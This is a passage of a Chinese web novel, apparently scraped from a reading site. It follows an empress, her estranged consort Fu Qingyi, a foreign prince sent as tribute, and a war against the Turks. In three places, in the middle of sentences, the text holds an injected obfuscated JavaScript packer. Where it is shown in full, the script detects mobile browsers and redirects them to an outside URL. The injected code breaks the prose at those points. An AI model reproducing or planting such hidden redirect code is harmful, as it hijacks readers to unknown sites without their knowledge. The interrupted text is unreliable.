内侍从他入宫起就负责他起居,性子油滑,爱说笑话,知晓他脾气好,渐渐也就在他面前放下了惶恐,付清衣想起他方才的动作,忍不住失笑,大卸八块实在是夸张,宋闻薰虽然不是什么仁爱的明君,但也不是随意杀人的昏君。 想起宋闻薰,他的笑意又淡去了。 她已经不似从前,可他依旧熟悉她。他熟悉她的一颦一笑,熟悉她什么时候在强装高兴,什么时候在真正开心。 他已经很久没有见到过她真正开心了。 所以她每每做出高兴的模样,他都会恍惚一瞬,这一招她屡试不爽。 他漫无目的地走着走着,看到了那片桂花林。凛冬已至,这里的桂花树依然茂盛,翠绿可爱。绿叶上积雪落在他靴前,付清衣仰头,目不转晴地看着,这片桂林竟都被人细心照料过。 不远处传来响动,付清衣寻声走过去,桂花林里,有个十三四岁的女孩儿跪在雪地里,一旁的老嬷嬷横眉立目,尖声厉喝:“小蹄子,谁叫你把开水浇树根上的?你做什么吃的?给我跪着!你把我们都害死了,你这条命,连同我们的命,都不够填你闯下的大祸!!” 女孩哭得满脸泪痕,抓着嬷嬷的衣角央求她:“嬷嬷,我膝盖上有冻疮……” “啪”,响亮的一个耳光落在她脸上,她稚嫩的脸颊瞬间肿起一个大包,女孩捂着脸再也不敢说话,只是嘤嘤哭泣。嬷嬷抽完了她,看看自己的手,竟也忍不住放声嚎啕起来。 付清衣皱了眉,他看不下去,从树后走出,出言阻拦道:“她还这么小,何必如此为难?” 嬷嬷被他吓得浑身一抖,见他穿一身墨狐皮料子,非富即贵,忙跪下道:“大人不知,陛下最看重这片桂林,常要来此驻足欣赏,若是叫陛下看到枯死的桂树,奴婢们怕是一百条命也不够啊。” 付清衣再度皱眉:“不过是一颗树罢了,她何至于此。” 嬷嬷红着眼,小声道:“别的树倒也罢了,可这偏是桂树,大人,这棵桂树的命比奴婢的命重啊。也是奴婢不好,这小蹄子怕冷,端了盆开水暖手,奴婢一个没看住,就……” 她抹着眼睛说不下去了,一旁的小女孩再也忍不住,放声大哭起来。 付清衣把手里的汤婆子递给女孩,温声安抚她们:“先暖和暖和,不要紧,你们的事,我去找陛下求情。” 女孩呆呆地捧着汤婆子,被这喜讯砸晕,忘了哭,嬷嬷也呆了,半晌,哆嗦着问:“大人是……” 她没有说下去,敢去说服皇帝改变念头的,唯有那个人。 连照看桂树的宫人都知道,付贵君对陛下而言是不一样的。 付清衣沉默片刻,无奈笑了笑,他清瘦的手指抚了抚女孩的眼睛,细心替她擦去眼角的泪花,又转头朝嬷嬷微笑道:“好了,这么冷的天,快回去歇着吧,你们会没事的。“ 嬷嬷恍恍惚惚地跪下谢恩,恍恍惚惚地牵着女孩的手,恍恍惚惚地离开了。 付清衣在雪里站了一会儿,看着满园青碧的桂树,赏景的心情荡然无存,他转身,径直去了养心殿。 28. 无故人(5) 在听到门口通报“付贵君求见——”的一瞬间,宋闻薰整个人都僵在了那里。 她怕自己听错,问:“谁?” 李富满面喜色地走进来:“付贵君来了!” 宋闻薰立刻把手中看了一半的奏折扔到一边,又语速极快地命李富点了新的熏香,想了想,还觉得不够,吩咐道:“去把昨日西北上贡的枣茶泡上。” 李富麻溜地准备好这一切,识时务地退下了。 大殿里一切准备就绪,宋闻薰这才清了清嗓子,不急不慢道:“进。” 付清衣缓步踏入这座宫殿,他愣了一下,发觉这里的摆设变了,点了桂花味的熏香,桌上的玉瓷瓶中,端端正正地插着几枝枯死的桂枝,那人坐在高堂上,在重重卷轴里专注地凝望他。 她眸光明净如水,没有怨怼,没有凉薄,只是含了一点微微的笑意,期待地看着他,像清茶上飘着的桂花。 付清衣面无表情地走近,跪下,行叩拜之礼。 宋闻薰眼中的笑意慢慢散了。 等他行完礼,宋闻薰敛目道:“你找我有事,对不对?” 她声音平静,带着一点儿连她自己也没察觉到的颤抖,付清衣攥紧了手,道:“是。” 他说完话并未起身,依然长跪在地,宋闻薰勉强牵了一下唇角:“你明知道不用这样跪着我也会答应你。” 付清衣对她的话不闻不问,他直截了当地道:“臣恳请陛下放过照料桂树的宫人。” 宋闻薰不假思索道:“好。” 付清衣停顿一瞬,叩首,面无表情地道:“臣叩谢陛下圣恩。” 玄色衣摆铺开在地上,像缓缓流淌的河。宋闻薰看着他,突然道:“它很衬你。从你寄给我的那日起,我就在想,你穿着一定很好看。” 付清衣不愿听她叙旧,淡色的唇抿成一条直线:“陛下若无他事,臣告退。” 他站起来,毫无留恋地转身,甚至还没来得及尝一尝宋闻薰特地准备的枣茶。 宋闻薰急忙叫住他:“等等。” 付清衣停了步子,但依旧没有回头。 “你来找我,就是为了这件事?”宋闻薰脸上再不复笑意,顷刻之间,她变回了那个深沉冷漠的君王,那双黑沉的眸子里像是酝酿了一场风暴,山雨欲来。 付清衣直白道:“是。” 宋闻薰压抑着不悦,慢慢道:“前几日上贡的枣茶味道不错,我记得你从前在军营里就爱喝枣茶,不尝尝吗?” “陛下恕罪,从前的事情,臣病后有些记不清了。”付清衣低声道,“陛下也忘了吧。” 宋闻薰皱起眉:“清衣,你明知道我为什么放过了那些宫人。” 她说出这句话后就有些后悔,因为这句话听起来太像在威胁他了,还没等她解释,就看见付清衣低冷地笑了一声,他一字一句,清晰地开了口: “是啊,臣知道。所以臣与陛下无话可说。” 宋闻薰怒道:“清衣!” 付清衣并没有因为她的呼唤停步。 他继续往前走,清瘦的背影在苍白色阳光底下晃了晃,又扶着门框站稳,宋闻薰徒劳地张了张口,意识到自己怎么做都只是徒劳。 他们从前的回忆纵然再多,也早就在后来的猜忌与强迫中变得面目全非了。 自从登上帝位,她很少再因为什么事情挫败过,可这一刻,宋闻薰忽然发现,她在这件事上毫无把握。他从前再怎么失望愤怒、屈辱冷淡,她至少能看出来他在意她。但现在,她已经看不清他了。 殿门再度合上,屋内一下子暗了不少,宋闻薰望着桌上的一口未动的枣茶,抬手将它连带着瓷杯一起掷到地上。 李富刚踏进来就看见碎了一地的茶杯,腿一软当即跪下了。 宋闻薰闭了闭眼,抬手翻开一本奏折,面色如常,看都没看他:“收拾了。” 李富知道,面不改色地发火的皇帝才是最可怕的皇帝,他急忙擦着地上的茶水,挤出笑来:“是。陛下,月氏有使者求见。” 宋闻薰手腕一停,她抬眼,透过逼仄的墙,定定地望着窗外的雪,过了一会儿,倦怠地道:“宣。” 在新帝继位的第五年,后宫中除了付贵君,还多出了一位赫连良侍。 月氏国千里迢迢送王子赫连伊前来和亲,那个高鼻深目的少年眉目如画,他站在满堂交错人影里,流光溢彩的华袍倾泻而下,包裹住他蜜色的肌肤,如同一弯漂亮的金色月亮。 帝王的目光不动声色地扫过他,他垂下眼,盖过一闪而逝的紧张,声音清朗:“臣,赫连伊,叩见女王陛下。” 月氏肯把自己唯一的王子送来,已是到了穷途末路,宋闻薰自上位以来一直磨刀霍霍向周遭诸国,月氏周遭的国家都已经歼灭,国王日日如惊弓之鸟。思来想去,只有这一条路可走,连继承人都进入了帝王的后宫,月氏与直接称臣无异。 宴席上的所有人,无论男女,都被他殊丽的容颜震撼,一时间忘了言语,可当使者看向最重要的那个人时,却只看见冠冕下垂落的长长流苏,和流苏下一双波澜不惊的眸子。 使者心一沉。 这是最后的办法,如果这个办法也不行,那月氏就真的无力回天了。 宋闻薰单手支颌,朝着紧张的使者和僵立在原地的赫连伊展颜微笑了一下:“诸君远道而来实在辛苦,赐座。” 没有人能从她面具般的微笑里看出她到底是怎么想的,她姿态优雅亲切,可她投向赫连伊的目光,分明冰冷淡漠。 使者挤出灿烂的笑容来,举杯向她道:“早听闻中原是礼仪之邦,今日一见,名不虚传。” 宋闻薰对他的恭维不置可否:“使者谬赞了。” 使者尴尬地站立了一会儿,又陪笑道:“我身边这位是王子伊,我们王子是月氏草原上最英俊善舞的儿郎,今日为美丽的陛下献剑舞一支,愿陛下笑纳。” 宋闻薰没有动作,赫连伊主动站起身走到宫殿中央,美丽的少男顶着无数暧昧或轻蔑的目光,负剑展身而舞。 他劲瘦的腰肢绷成一支锐利的弓,剑光映照出他琉璃色的眸子,他跃动,旋转,挂金的纱衣飘起来,像身后挣扎着长出的薄翼,眼波流转处,风华自存。 所有人都目不转睛地望着他,只有宋闻薰低下头抿了口酒,在眼前让人目眩的剑舞中,酒液晃动,像那日的泠泠月光。。 那是很久很久前的一年秋天,她浅寐后醒来,听见细微的剑声,顺着流水般的月光望去,看见满院落花如雨,那人长身玉立,剑影光错,来如月满,去如海凝,挑起一个剑花后,他似有所觉,停下剑势,回首笑看。 “阿薰醒了?” 十年旧剑长吁,到如今,物是人非事事休。 一晃神的功夫,赫连伊的剑舞已经到了尾声,女帝坐在剑声中,垂目低眉,兴致缺缺,使者看着看着,心越来越沉。 一曲舞毕,四座寂静,赫连伊卸剑,长跪不起,他睫毛扇动,声音低微:“女王陛下若不弃,我愿日日为陛下舞剑。” 所有人都屏住了呼吸,下意识看向高座上的帝王。 宋闻薰的思绪被人轻轻牵回来,她目光缓缓移到赫连伊身上,举杯,神色冷淡,刚要开口拒绝,李富不知何时悄悄走了进来,他附耳对宋闻薰道:“陛下,您之前送给付贵君的墨狐大裘,适才被他送了回来,他还说、还说……” 宋闻薰道:“说。“ 李富这才小小声地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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宋闻薰不知什么时候已经无声无息地进来了,她看见他有些笨拙地行着中原的礼节,淡淡笑了一下,像是在看某个逗趣的小动物。 “不必紧张。”她道,“你今天跳的剑舞很好看,再为朕表演一次吧。” 赫连伊顿了一下,他起舞时看得分明,帝王对他的舞兴致缺缺,但他没有多问,顺从地拿来剑,刚摆出起手势,就听见帝王道:“去外面的月光下吧,今夜月色不错,配得上你一舞。” 她的嗓音像是冰凌化春水,响在耳边,酥麻麻的痒。 赫连伊脸有些发红,他拿着剑的手微微攥紧了,走出门去。 月色还是那日的月色,起舞的人也依旧是一身白衣。剑光到处,长风飘飘,罗衣旁徨。 宋闻薰坐在窗前,密密的睫毛低垂着,不合时宜地想,若在此刻能睡一觉,醒来会不会就能看见那个人负剑而立,朝着她微笑? 她静静地看完了这一舞,在赫连伊回首看来的时候沉默半晌,抚掌赞道:“很好看。” 月光和雪光一齐映在她身上,一闪而逝的真心笑意如同惊鸿照影,让她整个人都生动了起来。 赫连伊整个人都有些恍惚,在来之前,他听过很多关于这位女帝的传说,说她暴虐无道,杀人如麻,说她相如金刚,身高八尺,说她心思深沉,天生冷血。 然而眼前的帝王眉目如画,气定神闲,翩翩有礼。所有传闻都不像她本人。 如果和亲是与这样的人携手共度余生,似乎和亲也不是一件很让人难过的事。 他不由自主地走过去,轻薄的纱衣下,他蜜色的肌肤反射着大理石一般的光泽,柔美的声音贴在她耳边,他的声音柔媚悦耳:“陛下,臣来服侍您。” 宋闻薰的眼睛扫过他,抬手止住他的前进,她礼貌而疏离地道:“不必,朕睡觉时不喜他人伺候,你跪安吧。” 赫连伊失落地垂下了眼睛:“是。” 他也是出身异族的王子,第一次遇见了喜欢的人,鼓起勇气示好就遭了拒绝,不由得眼眶有些发红,心里酸酸涩涩的不是滋味,他飞快地抹了把脸,转身往门外走,走到门口,却听见身后人平淡的嗓音:“把这件墨狐皮大裘带走吧,夜深雪重。” 29. 无故人(6) 如今连洒扫庭除的宫人都晓得,陛下心尖上的人换了一个,月氏献的赫连良侍容色殊艳,尤擅剑舞,陛下爱不释手。 第一次听到女帝纳新欢,付贵君正坐在桂树下,含笑看着几个小宫人给桂树浇水铲雪。 那日他救下的小宫女叫檀荷,她心底里知道是付贵君救了她,每每见到他,都会笑着向他见礼问安。 付清衣喜欢来这片桂林里歇息,桂林下有一张竹榻,他走累了就坐在榻上,静静地看着宫人们忙碌,宫人们也慢慢熟悉了这位好脾气贵君的存在,十三四岁的小姑娘最是顽皮,干活的间隙会笑闹着打雪仗,有时分不出输赢,她们会嚷嚷着叫贵君评理。付清衣很温柔地侧耳听她们你一言我一语地吵,目光里有很淡的笑意,似怀念,似怅然。 这一日如往常一样,她们一边干活一边聊天,有一个嘴快的小宫女笑着道:“你们知道吗?陛下身边最近来了个赫连良侍,据说是月氏的王子,生得很是俊俏呢!” 其余人惊奇地凑过去,七嘴八舌嚷嚷着叫她多说一点。 直到一个沙哑的嗓音问:“什么?” 众人回首,看见付贵君整个人似乎都愣在了原地,他唇色有些发白,脸上空空茫茫的,站在琉璃冰雪地里,好像一阵风就能吹走。 所有人都不约而同安静下来。檀荷最乖觉,知道她们说错了话,忙扯着那个嘴快的小宫女去赔罪,她担忧地看着他的脸色,小心翼翼道:“贵君……” 付清衣被这一声叫得缓缓回过神,他垂下眼:“无妨。赫连良侍……是她纳的新人吗?” 檀荷小声道:“嗯。” 雪压在桂枝上,桂枝不堪重负,“咔嚓”折断。付清衣深深吸了口气,凛冬的凉意灌入他肺腑,激得他拢紧了外袍。 檀荷见他面色苍白,担心道:“贵君身子弱,要不要回去休息?” 他摇了摇头,勉强露出一点笑意:“不必。只是有些意外。” 女孩子们你看看我我看看你,赶紧叽叽喳喳地凑过来,非常拙劣地安慰他:“依我看,陛下对赫连良侍只是一时兴起!” “是呀是呀,谁不知道陛下最喜欢您啦!” “您经常过来,陛下特地叫人在这里放了床榻,因为您,连我们的吃食也变好了呢!” “真的!您最得宠啦!” ………… 他听着这些话,自嘲地笑了,如今他真的变成了她后宫中的妃子,长居深宫,与他人分享她的垂怜与宠爱。 女孩们说到后面,发觉他脸色依旧不好,声音就渐渐低下来,尤其是檀荷,一副愧疚得要哭出来的样子,恨不能把“陛下最爱您”“您最得宠”重复一百遍,最后付清衣被她们这幅模样弄得哭笑不得,只好安抚地摸了摸檀荷的小脑袋,无奈道:“好了好了,你们才多大,就知道什么宠不宠爱不爱的了?去去去,吃饭去。“ 他吃不消她们,起身准备离去,刚走了两步,檀荷匆匆跑上来,望着他的眼睛再次认真地说:“陛下喜欢您,真的。” 付清衣简直要被她这种不依不挠异常执着的精神打败了,他举手投降道:“我知道,真的。” 檀荷满意了。付贵君觉得她年幼不知事,其实她可懂了,贵君才是那个被蒙在鼓里的人。 因为陛下每天都要悄悄召见她。 一开始她可害怕了,可真的见到了陛下,又觉得陛下一点儿也不像传闻中那么凶残,明明是个很温柔的人,像付贵君一样。 陛下和她以往见到的那些高高在上的贵人都不一样,不仅召见她,还给她好吃的点心,笑眯眯地同她说,以后每天都有这些好吃的点心,就是要告诉她付贵君说了什么,做了什么。 她一五一十地告知,陛下总是单手支颌,听得专注又认真。有时候听着听着会笑起来,有时候听着听着会皱起眉,听到她说付清衣咳嗽,陛下就给她一把薄荷梨子糖,嘱咐她明日带给付贵君。 在走之前陛下嘱咐她,不要把这些告诉付贵君。方才还温柔的陛下板起脸,语气认真到了严肃的地步,她被陛下严肃的神情感染,深知在宫中混不能多嘴的道理,忙点点头应了。 这一日也是同样,她对陛下讲了付清衣的反应,讲了他一瞬的失神和离去时的落寞,最后小心地添了一句:“其实付贵君他……还是很在意您的。” 她说完这句话后,陛下心情变得很好,从未有过的好。 陛下整个人好像都亮了起来,她眼中溢出压不住的笑意,抚摸着她的脑袋不住口夸她是好孩子,甚至破天荒地摘下头上的珍珠簪子给她戴上,说是给她的奖励。 这一刻的陛下不像是高高在上的皇帝,更像是檀荷遇到过的邻家大姐姐,亲切温柔得不像话。 檀荷被她笑得晕晕乎乎忘了谢恩,像做梦一样走出宫殿,忍不住想,这样好的陛下,这样好的付贵君,真是天造地设的一对,可他们为什么总不见面呢? 檀荷走后,宋闻薰坐在座位上,眼中笑意未消。她纳赫连伊,更多是负气的举动,暗暗地同付清衣较劲,也是在试探他的态度。如今他真的难过了,她反倒觉得畅快,像是扳回了一局,也像是确认了什么。 他还在乎她。 她吩咐李富:“摆驾去坤宁宫。朕要去见清衣。” 李富一愣。 自赫连良侍入宫以来已经两个月,这是宋闻薰第一次去见付清衣。 坤宁宫中,付清衣正在喝酒。 他向宫人们要来了北疆的烧刀子酒,宫人们不敢阻拦,只敢劝一句,贵君,仔细身子。 他笑一下,把酒攥在手里,往口中倒,呛得咳嗽起来,但依旧哆嗦着手把酒往口中倒。 酒好苦啊,他想,从前喝烧刀子的时候只觉得浑身暖和,可是现在喝起来,苦得令人作呕。 身后的宫人不知什么时候都离开了,轻轻的脚步声传来,像一只敏捷的猫。他听得出来是谁。 一只手抓住他哆嗦的手腕,清淡的龙涎香在他鼻尖环绕,酒被人夺去,那人从背后环抱他,她的嗓音温柔似水,甜蜜地绕着他的耳朵转:“你不能再喝了,清衣。” 付清衣没有挣扎,任由酒杯被抢走,拖沓的宫装层层叠叠铺开,拖拽着他半跪下来。 “参见陛下。”他沙哑地说。 宋闻薰这才看清他的脸,苍白的脸上透着醉酒后的嫣红,像揉碎了的花,他软软地靠在她身上,目光迷离,笑意在他的脸上化开,化开,惨白的雪扑簌簌落下。 “陛下来了,我……” 他后半句话说得模糊,宋闻薰没有听清,俯下身去,付清衣的声音游荡在她耳侧,低低地回荡:“我累了,我想去见清蓉。” 宋闻薰脸色骤变。 付清衣的眼角有一行泪滑落,他是真的喝醉了,望 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15450123|169454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着她的目光软和下来,迷蒙茫然地像是在看一个陌生人。 他摇摇晃晃地直起身,推开她的搀扶,踉跄着打开窗子,冷风灌入,吹在他泛红的面庞上,他剧烈地咳嗽起来,宋闻薰急匆匆过去,一把关上窗户,感觉自己牙关都在颤抖:“我不许你死。” “我想去见清蓉,去见爹娘,去见曾经和我一同作战的弟兄们。” 付清衣没有搭理她的话,自顾自再次说了一遍。他的声音比窗外的落雪声更轻,可宋闻薰听清楚了。 烛火摇曳,宋闻薰的影子在墙上晃动,屋内一时静极。 付清衣缓缓蹲下,把自己缩到角落里,他醉得厉害,眼睛里溢满了迷离的水光。 “阿薰,”他闭上眼睛,“我一看到你,眼前就晃动着那些死去的人,是我害了他们。” 宋闻薰只当他在说醉话,她把冰冷的手贴在他的额头上,低声道:“他们的死和你有什么关系,清衣……你喝多了。” 付清衣颤抖地抓住她的手,他眼睛依然闭着,声音里却全是压抑了许多年的痛苦:“是我的错……我没有保护好你,没有保护好清蓉,连师父也没能护住……” 他牙关都在颤抖:“我谁也没护住……阿薰,我不止一次想,若当初你在宫里,我常来宫里,能帮着你护着你,你是不是就不会……” 宋闻薰猝然睁大了眼睛,她直到此刻才明白为什么付清衣此前一心求死。 他把一切都揽到了自己头上,连同她做的事。 她一时间不知道该说什么,安静了好一会儿,才沙哑地道:“不。清衣,你纵然能护着我,我依然会走上这条路。” “唯有成为刀俎,才能免为鱼肉,只有那些能威胁到我的人全死了,我才能真正安心。” 她捧着他的脸,注视着他,带着一点儿决绝的悲哀,生平第一次如此坦诚。 “路是我选的,那些人是我害的,重来一次我照样会这样做。你唯一该后悔的,是当初不该认识我,不该帮我,更不该为我这样的人尽心竭力,出生入死。” 付清衣的心脏像是被锋利的刀剖开,整个人都怔住了,良久,他伏在桌子上,肩膀颤抖,笑意苍白:“是。我不该为你这样的人,尽心竭力,出生入死……这么多年你在我面前,是不是装得很累?” 即使早有准备,真的听到这句话,依旧如同有人活生生剥下了长在她脸上的假面,鲜血淋漓,疼痛到了畅快的地步。 宋闻薰听到自己的声音响起,冷如冰雪:“是啊,我在你面前的一切温柔模样都是装的,每一次装出那副样子,我都觉得自己如同一个笑话。你喜欢的人不是满手鲜血的我,是那个沉默寡言不受宠的六公主,醒醒吧,她、早、就、死、透、了。” 她含着说不清道不明的嫉恨说完这段话,犹如五脏六腑被赤裸裸劈开,快意到了极点,又悲哀到了极点。没有人知道,这么多年,她一直厌恶曾经的自己,那个弱小的、心软的、被欺压得毫无还手之力的公主。如今亲口宣判她死无全尸,她反倒有一种扭曲的快感。她尖尖的指甲刺入肉里,没有去看付清衣的表情,一字一顿道: “从今往后,我不会再来坤宁宫,你大可以放心了。” 走出去的时候,外头月上中天,已是午夜。风吹得她冷静下来,疲倦地想,每一次过来似乎都会闹到相看两厌的地步,也许,她真的该放手了。 30. 两心离(1) 时光流逝,自付清蓉开府后,一晃,宋闻薰在龙椅上已经坐了两年。 两年来,付清衣在京城呆的日子并不多,除去年关,剩下的时候都镇守边疆,宋闻薰与他又回到了从前那种飞鸽传书的状态,不同的是,这一次宋闻薰没必要再改变字体、销毁书信,也不再说一些桂花开得很好一类的闲话,她更多的是去信问边陲的民生与军队操练的进度,只在信末略添几笔,问他旧伤,问他可有什么缺的,问付清蓉近况。 付清衣的信没怎么变,他中规中矩地回答完宋闻薰关于政务的疑问后,开始放飞自我写自己的日常,委屈地告诉她自己正尝试在边疆种桂树,可惜一场风雪死得差不多了,被军中的弟兄嘲笑了很久,又高兴地告诉她他猎了一只墨狐,皮毛十分光艳美丽,等回来的时候带给她,她定会喜欢。最后的最后,他含笑写,妒明月不独照我,但照万民。 宋闻薰忙碌了一天,只在看到这些信的时候会松快点,露出笑模样来。每每边疆有书信来,上朝的大臣和伺候的宫人们虽然不知道发生了什么,但都安心很多,这种时候即便犯了一点小错,君王也能轻轻放过,如果恰好做了什么功绩就更好了,君王的赏赐能比平日里多出一倍。 最初还有人参她牡鸡司晨,对女子为帝颇有微词,后来也渐渐没人提了,一方面,宋闻薰手段狠辣,被她抓到不是死一个就是死全家,想想女子为帝就算违反祖制,也不至于拿全家的命反抗,实在太不划算。另一方面,她自上位以来夙兴夜寐,打击豪强,治理水患,平定内寇,轻徭薄赋,上一任皇帝是个庸君,为政几十年也没能搞定的事情,宋闻薰上位两年就乱刀斩乱麻地理顺了,民间并不关心皇帝是男是女,能让百姓们真切感觉到出门安全、兜里有钱了,那她就是好皇帝。 两年来,老元帅交出兵权,告老还乡。世家大族的大多数新一代子弟都进了军营,以白丁之身去挣军功,嫡庶争爵下,跟着权分几度,世家权柄一削再削。雪花银如流水淌进国库,一些流窜的强盗伏法的伏法,收编的收编,粮仓的米粟日益堆起来,丰收的香气飘向四野,全国上下,一派欣欣向荣之景。 就在这个时候,宋闻薰单刀直入地表明,要与突厥开战。 突厥一直以来都是心腹大患,自从卡蓝嫁来,消停了几年,称臣上贡,太子倒台后,突厥王直接派使者前来,明言不得牵连太子妃卡蓝。当时国库空虚,内忧刚刚平定,世家大族虎视眈眈,自然不能再添外患,宋闻薰好声好气地向使者担保卡蓝不会有事,如今两年过去了,国库金钱充足,世家大大削弱,国富民强,正是清理突厥的好时机。 她磨刀两年,到了该亮锋的时候。 春色被她一刀斩开,在姜丞相的反对与百官的议论声中,宋闻薰力排众议,向突厥宣战。 她在两年来与付清衣的通信中早已经明晓了局势,而且那些世家的蛀虫为了爵位与家产,也基本都聚在了军中,此时开战,能彻底把世家的年轻一代清理了,开疆拓土,威慑周边。 姜丞相急得嘴角长了一圈泡,三番五次地以国舅的名义谏言,全被宋闻薰四两拨千斤地堵回去了,那些世家更是急得跳脚,日日有人跪在养心殿外嚷嚷着要以死相劝,在里头批阅奏折的女帝头都没抬,只轻描淡写地说:“那就去吧,也好为国库省点粮食。” 她定下的事情,没有人能阻拦。 付清衣不赞成这场战争,自卡蓝嫁来,突厥王信守承诺,一直秋毫未犯,但他也并不反对她,从宋闻薰三番五次的来信中对军备的格外关注,其实就能看出来她的野心,突厥是难啃的硬骨头,然近日突厥草原连逢天灾,而北齐养精蓄锐,兵强马壮,也未尝不可一试。 此战赢了,北齐边境五十年无忧。 若她不战,他去做国之长城,若她想战,他愿身先士卒,去做她手里最快的利刃。 他与付清蓉自请出征,宋闻薰一面是喜,一面也忧,她力赞付家的忠勇,御笔为这支精锐之师赠字,上书:燕然勒功。 付清衣穿着她赠的鎏金护心甲,怀里藏着她遣人快马加鞭送来的书信,这位一贯作风雷厉风行的帝王一反常态地写了长长的一封书信,核心思想就一个:输赢其次,能平安归来最重要。 京城的风吹过初开的桃花,把血一样鲜艳的颜色吹往了边疆,突厥擅长机动作战,但在以行军诡谲著称的付家兄妹面前毫无优势,再加上草原上饥荒刚过,还没来得及休整又遇到战事,开战半月,突厥连丢数城。 在所有熙熙攘攘的庆贺里,唯有一人,素衣白裙,泪痕满面,终日在养心殿外长跪不起。 “妾身求见陛下!”卡蓝的膝盖上已经磨出了水泡,她浑然未觉,黯淡的眸子盯着第不知道多少次劝她回去的李富,一把抓住他的衣摆,口中喃喃,“公公……公公……救救我的族人!陛下可以拿妾身的性命要挟妾的父亲,他不会侵犯大齐领土的……不要开战……不能开战……陛下!陛下!!” “太子妃娘娘,陛下不会见您的,回去吧。” 李富第不知道多少次叹了口气,第不知道多少次重复了这句话一遍,见她不听,熟练地把衣摆从她手里扯回来,默默后退两步,走了。 卡蓝颓然软倒,趴在冰凉的石阶上,刚刚的嘶吼已经耗尽了她的力气,她膝盖下的地面也早已鲜血淋漓。李富走进去后不久,立即来了两个力壮的宫女,一左一右架着她把她拖走,帝王对她已经失去了残存的耐心,他们把她塞进废弃的东宫,用一把大锁关了殿门。 东宫石阶上残留着暗红的血迹,数年前,整个东宫里的人都被处理了,如今这里已经无人踏足,满院的杂草荒萋萋地长着,风吹过,竟已经没到了人的半腰。而那个时常会坐在庭中给她描眉、教她礼仪的中原男子已经死了,死因不明。帝王对外说太子是自戕,她不信。 两年来,她渐渐看明白了一些事情,她不再是那个天真无忧的王女了。 卡蓝走着走着摔倒了,她跪坐在杂草里,仰头看天,素白的宫装沾了泥,她浑然不觉,眼泪一颗颗滑落,她哭不出声音了,只能掉眼泪。中原的天是灰蒙蒙的,她不喜欢,她喜欢草原里一望无际的原野,碧蓝碧蓝的天穹,连草都是绿油油的,像小绒毛,她抱着小羊羔,随便在一处草丛里就能躺下,太阳把她和小羊羔晒得暖融融的……暖融融的…… 三月初三,付家军连破五城,直指突厥王部。 举国上下都沉浸在即将凯旋的喜气中,付清衣亲自下令烹羊宰牛,犒劳军士们一路以来的颠簸。付清蓉坐在马上,双腿一踢,赤兔马撒开蹄子欢蹦起来,边疆的太阳将她面庞晒黑了,她的眼睛却亮如两蓬璀璨的星火,比在京城中更闪耀。 付清衣正在帐篷前举着那张玄狐皮晾晒,付清蓉策马经过时,一把抢过那张玄狐皮,她一拽马缰,赤兔马停下,扬腿嘶鸣起来,付清蓉大笑:“哥,敢不敢同我赛马?赢了我就把皮子还你。” 付清衣从小到大早被她这招坑了无数次,完全不吃她这套激将法,摆手拒绝:“不和你玩,要玩去找张贵年,把皮子还给我,别弄坏了。” 付清蓉拉长声调:“知道了哥——看你这幅宝贝样子,是要送给她的吧?” 付清衣被她说中,恼羞成怒:“知道还不给我!” 付清蓉瞧着她哥顿时红了的耳朵,露出“受够你们了”的表情,吐了吐舌头,她连日打了胜仗,正是意气风发的时候,一扬手把玄狐皮塞进他怀里后,就直冲向张贵年在的地方去调戏“闭月羞花”的张副将了。 “小心点儿!”付清衣看着她横冲直撞的背影,无奈地笑叹了口气。 这是无数个平常的日子里,最平常不过的嬉笑逗趣。风吹起来付清蓉红艳艳的披风,她的背影像一只振翅欲飞的蝶,在青翠草波里轻盈穿梭。 三月初五,白骨成堆,血染长河。 千军万马中,付清衣举刀,刀锋凛冽,声音沉冷:“现在投降还来得及。” 年迈的突厥王骑马从阵前走出,他胡子花白,体格粗壮,怒目圆睁,肩膀上立着一只利爪的苍鹰,他身披二十斤的重甲,手抡一把青铜铁锤,立在阵前,如一堵巨墙,岿然不动。 他轻蔑地抬起头,朝地上啐了一口。 这个动作点燃了双方的怒火,两军顿时厮杀在一起,付清衣身先士卒,打马直奔突厥王而去,凤嘴唐刀与青铜铁锤相撞,火星四溅,砰然有声。 突厥王肩上的苍鹰飞掠而起,从半空中伸爪刺向付清衣面部,“嗖”,说时迟那时快,冷箭飞至,付清蓉及时与阵后拉起长弓,一箭穿透苍鹰,血落如红雨,突厥王的虎皮上袄被血浇透,他眉尾的刀疤抽动了一下,铁锤快如流星爆裂,苍老的突厥王爆发出一声惊雷般的怒吼。 战场上刀剑声惨叫声不绝于耳,王营内却是一片死寂。年轻的突厥少主博鲁身挎匕首,扶着怀孕的夫人从帐篷里逃出,踉跄地奔跑在原野上,他们身侧只有一个精壮的草原老汉陪同护送,草原上长了手脚的成年男女,都上了战场,已经没有多余的战斗力了。 突厥大局已定,父亲在前面负隅顽抗,就是为了能让他与夫人孩子有最后的一线生机。 博鲁扶着夫人走了一段路,忽闻箭声,若有所感地回头,看见半空中苍鹰坠落,霎时泪流满面。 年轻的夫人赫连冰一边扶着肚子,一边为他拭去泪水,处于这样的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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老突厥王扭头,僵在原地,付清衣看清了那少年的脸,也怔住了。 这是王家的庶子,王之寰。他不受王家家主重视,自来到军中,一直不声不响,如同透明人。 所有人的目光都集中在他身上,这让少年脸上的笑容更盛。 三个头颅被他轻飘飘扔在地上,他眉眼弯弯,端详着老突厥王的表情,甜滋滋地笑道:“看来您是认得的。” “……畜生。”老突厥王额头上青筋暴起,他如同一只挣脱了铁链的狮子,咆哮着冲向了少年,“畜生!!!” 